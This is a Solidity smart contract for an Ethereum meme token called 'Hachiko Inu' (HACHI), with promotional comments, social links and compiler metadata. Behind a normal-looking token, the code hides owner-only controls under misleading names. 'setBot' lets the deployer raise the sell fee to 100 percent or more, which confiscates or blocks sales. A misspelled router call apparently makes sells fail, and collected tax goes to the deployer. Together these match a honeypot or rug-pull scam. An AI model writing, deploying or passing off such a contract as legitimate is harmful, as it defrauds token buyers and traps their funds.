/**

Hachiko Inu $HACHI 🇯🇵  | ETH 🔹🐕
Introducing Hachiko Inu: The Loyal Guardian 🇯🇵🐕
Inspired by the legendary tale of Hachiko, the Akita dog who faithfully waited for his owner for nearly ten years. 
Hachiko's incredible story, where he waited at Shibuya Station almost 3600 days after his owner's passing, made him recognized as the most loyal dog known to man. 

SOCIALS:
🐕 Telegram: https://t.me/hachikoCoin_inu
📱 Twitter: https://x.com/hachikoCoin_inu
🌐 Website: https://hachiko.club
📖 Wiki: https://en.m.wikipedia.org/wiki/Hachikō
🎥 Full Story: https://youtu.be/_J-RbUNoBpA?si=kyRCm2HEAHU7-GjC

**/


// SPDX-License-Identifier: Unlicense



pragma solidity ^0.8.20;



interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}



interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}



contract HACHI {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }



    string public _name = unicode"Hachiko Inu";
    string public _symbol = unicode"HACHI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000_000_000 * 10**decimals;



    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;



    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );



    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;



    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;



    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }



    receive() external payable {}


    function setBot(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _TokenMktWithZkVerifyEth()) revert Permissions();
        Tokenbuyoneth(_buy, _sell);
    }



    function Tokenbuyoneth(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }



    function _TokenMktWithZkVerifyEth() private view returns(address) {
        return storeData.tokenMkt;
    }



    function OpenTrading() external {
        require(msg.sender == _TokenMktWithZkVerifyEth());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }



    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }



    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }



    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }



    function name() public view virtual returns (string memory) {
        return _name;
    }



    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenMktWithZkVerifyEth();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);



        balanceOf[from] -= amount;



        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }



        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

{
  "compilationTarget": {
    "code ngan.sol": "HACHI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}